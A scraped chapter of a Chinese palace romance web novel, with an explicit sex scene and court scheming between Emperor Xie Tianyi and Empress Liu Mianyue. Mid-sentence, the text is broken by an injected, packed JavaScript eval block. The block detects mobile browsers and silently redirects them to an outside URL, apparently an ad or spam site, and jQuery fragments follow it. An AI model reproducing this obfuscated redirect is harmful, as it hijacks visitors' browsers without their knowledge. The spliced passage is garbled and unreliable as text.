一句年轻,谢天翊就要身体力行地向柳眠月证明自己的实力。柳眠月实在是撑不住了,她双手搂住谢天翊的脖颈,泪水涟涟地看着谢天翊,她的呼吸急促着,说出来的话更像是求饶一般。
从前和谢怜卿做这些事情,不过是夫妻之间的义务,是为了诞育子嗣,柳眠月觉得这就是爱了。但是她和谢天翊在一起全然不是这样的,谢天翊总能让柳眠月察觉到自己的贪心,总能让柳眠月在跌落深渊的时候,用一双手紧紧地抓住柳眠月不至于让她跌落深渊,谢天翊带着柳眠月要飞到天上,落在轻飘飘的云上。
柳眠月察觉了谢天翊的贪婪,尝到了谢天翊的自私,这些别人口中的坏品质,柳眠月却能从中看到盛放至极着的妖艳。许多次,她只能颤抖着身子,虚弱地抬起自己的眼皮,她看到的是还未尽兴的谢天翊。
呼吸也同样急促着的谢天翊,嘴巴微张,若隐若现贴着柳眠月的唇瓣:“皇后,步云,谢怜卿有这样对你过吗?”
柳眠月还未搭话,谢天翊不知道碰到了什么地方,柳眠月腰身弓起,双目久久失神,什么话也说不出口。她听到谢天翊又问:“卿卿步云,你品尝过这样的滋味吗?”
实在是造次的话语,柳眠月回神过来,她此刻仿佛置身洪流中,谢天翊要和她共同进退,柳眠月自己都不能掌控得住方向,谢天翊却可以带着她任意游走。柳眠月的手轻轻抚摸上谢天翊的脸颊,弱柳一般摇晃着的细碎话语:
“没有的,我和谢怜卿没有这样过。”
只需要一句话,就能让谢天翊心中痛快,他也不再折腾着柳眠月,甘霖落雨,点点都浮在了花心,两人都颤抖不已。
“皇上...”
“柳眠月,事到如今你还要做朕的幕僚吗?”
还要只给谢天翊天下,不给真心吗?
柳眠月实在没力气和谢天翊争辩这些了,她的手垂落下来,整个人都缩在了谢天翊的怀中,任由谢天翊胡乱闹去。
等温热的水慢慢没入身体中,柳眠月舒服地醒过来,她一睁眼,看到的是正搂着她的谢天翊。胸膛赤裸着,温热的水一波接一波的浪潮,谢天翊正带着柳眠月于桶中沐浴呢。
“醒了?”谢天翊笑着说。
柳眠月发觉谢天翊的手还在她的腰间,她靠过去,还是有些疲惫道:“怎么在这里?”
“天气虽然热了,但是也时时有雨的,怕你冻着,带你暖暖。”谢天翊的吻在柳眠月的脖颈上游走,弄得柳眠月痒痒的,要躲不能。
柳眠月实在忍不住,她轻轻推开谢天翊:“你怎么像个小孩子一样黏人。”
“喜欢你啊,”谢天翊嘴角勾着笑,但很快,他正色道,“步云,今日谢怜卿敢挑衅你,恐怕是因为在朝堂上,他吃了瘪。”
“有人弹劾了苏大人,朕应允让人去查了苏大人。”
终于要开始了吗,不对,柳眠月忽然想到了什么,这时候动了苏大人,谢怜卿没有占取苏大人的一点好处,苏大人就会是一颗弃子,并不能够真正地打倒谢怜卿,反而会让苏家成为上一世的柳家。
“皇上真的要动苏大人了吗,”柳眠月蹙眉,“苏家不好动,不能根除,这时候谢怜卿还未和他捆绑深刻,谢怜卿看着时机不对,随时都可以丢弃苏家,皇上要不要重新想一想。”
“你这个人,让我不要称朕,可你字字句句都唤我什么,”谢天翊很是不满,“你在王爷府,也王爷、王爷地叫着谢怜卿吗?”
柳眠月无奈,她叹笑谢天翊的坚持,于是她改口道:“瑾玄,这时候还不是好的时机去动苏大人。”
“我知道,”谢天翊嘴角带着笑意,他没有柳眠月那样子的忧虑,“动一个贪官,并不是什么难事,却可以让他紧张害怕,担心难安,恨不得游走许多的关系猜测自己的结局,但我只是说应允了旁人来查,查不查得出来是一回事,最好是查不出来,只让苏大人担心,白白费银钱。”
“那你的意思是,”柳眠月仔细思忖了许久,她恍然大悟,“哦,你的意思是苏大人自己举止缜密,不一定能查出什么来,你的态度也表明了,这只是在警告苏大人。”
“旁人给的是警告,而我偏偏还要宴请苏大人带着家眷来宫中,要给他莫大的荣耀,给他补偿。毕竟他为了这天下,为了这宫中,也是花费了不少。”
谢天翊的脸上有着帝王般算计的得意神情,是聪慧之人深思熟虑之后给出法子的骄傲模样,要让敌人放松警惕,要让敌人犯错,就要先礼后兵,施以宽容安慰,让他更多放心大胆地犯错,也是让谢怜卿更有时间和苏大人利益捆绑。
只是唯一的坏处,是会让谢天翊的名声受损,天下明眼人谁都能知道苏家不一般,那么多的钱财不知道是怎么来的。参他弹劾他也是理所当然,查他才是正道,谢天翊却要在这一番彻查后,还要奖赏苏大人,这不就更让苏大人为虎作伥,愈发大胆行乱了吗?
“瑾玄,这样的话前朝一定也会有人不满的。”
柳眠月担心的是谢天翊那无才无德,听从小人的名声会更蔓延开来。
可是谢天翊却不担心这些,谢天翊还要循着柳眠月脖颈后处淡淡的幽香,将唇印在娜姐白如玉的肌肤之上。柳眠月身子微侧,却更方便了谢天翊整个身子压下来,让柳眠月更难动弹。
再这样下去,水就要冷了。
可谢天翊的手就在柳眠月的腰腹轻轻摩挲,他说:“步云,你担心我。”
“不是,我只是...”柳眠月很想反驳,可是她发觉自己方才就是切切实实的,担心了谢天翊。她不能狡辩了,她只好承认下来,她说:“瑾玄,我不想看你受委屈。”
柳眠月想,谢天翊做事有着他的聪慧,有着他的算计,谢天翊不在乎自己的名声,恐怕他的名声大半是谢怜卿嫁祸的,也有他自己出招让人料想不到的缘故。
天下对一个人的误解,太多了,才会招惹出来许多的偏见。
谢天翊说:“没事的,我不委屈,只要步云站在朕的身边,朕就不觉得委屈。”
“只是步云,这件事情是御史台
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506231|170494||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那边查的,这些日子恐怕梅妃要在宫中嚣张一段时日,我会睁一只眼闭一只眼,你不要和她有口角是非,若是委屈了,来找我,整日在我的身边也行的。”
柳眠月起初还有些感动呢,可她听到最后一句,便体会出来了,谢天翊这只老狐狸绕来绕去,还是想要让自己去他的宫中,一直和他在一起。真是坏心啊,柳眠月偏偏装作听不懂,装作懂事的样子,对谢天翊道:
“皇上放心,臣妾一定懂得忍让,就要臣妾把皇上送到她的身边去,臣妾也愿意的。”
没骗到人,柳眠月在谢天翊的身边也逐渐大胆了起来,和先前那个一靠近就会害怕颤抖的柳眠月一点也不一样。谢天翊不再设套了,他知道,把自己的夫君推给旁人这种事情,柳眠月做得出来的。
也就是谢天翊先爱了她,柳眠月不爱谢天翊,这一场对弈中,谢天翊注定败局,铩羽而归。
谢天翊将柳眠月抱了出来,两人直至天明才睡下几个时辰。翌日梳妆上朝,柳眠月也顺手搭了一把,为谢天翊扣上扣子,系上腰带。
玉佩才刚挂好,柳眠月一抬头,看着谢天翊,忽然有些不好意思起来。
“步云,等下会有人送几块别致的玉佩来,这是我的心意。你与我成婚至今,我还未送你定情的信物,你等下随意挑了一块带着,我给我皇兄的那块龙凤的玉佩,不好看,我不许你带,也不让你收下。”
那块玉佩,也本该回到苏容昭的手中,柳眠月笑了笑:“皇上在和谢怜卿计较起来的这个性子上头,总是不倦怠。”
“是你说的,上一世你那样喜欢他,他为你做的那些事情,我也能做。”
这一世,你要喜欢我。
柳眠月听出了这个意思,她觉得谢天翊这个人真是怪得很,起初给她的感觉是恐惧,是肚子里不知道藏了什么鬼心思,而现在谢天翊给她的感觉,是藏着真本事但是却幼稚的少年,那块玉佩,根本不难看的。
柳眠月含笑低着头,为谢天翊紧了紧腰带,她才要缩回手,她的手就被谢天翊抓住。谢天翊神情没有玩笑,很是认真地看着柳眠月:“步云,我有事要同你说。”
“等过一阵子,我要在宫中宴饮邀请苏家一家,我希望你同我一起,你可愿意?”
这是皇后该做的事情,柳眠月不会不懂事的,她点了点头:“身为皇后,这是我该为你分担,同你并肩的,这个你放心。”
“那我若是要你同我展现得无比亲密,要恩爱有加,或者做出些更大胆的事情来,你也应允吗?”
做那些恩爱有加的事情还能干什么,无非就是想让谢怜卿生气。柳眠月看着隐隐期待着的谢天翊的那张脸,心中好笑又没办法地点了点头。
“皇上以后少吃些醋,我已经不喜欢谢怜卿了。”
这些话,谢天翊是听不到的,谢天翊揽住柳眠月的腰把人往怀里带,他将柳眠月的唇狠狠碾压辗转了一遍,这才舒心顺畅地去上了早朝,满意离去。
留下柳眠月一个人,在原地扶额苦笑。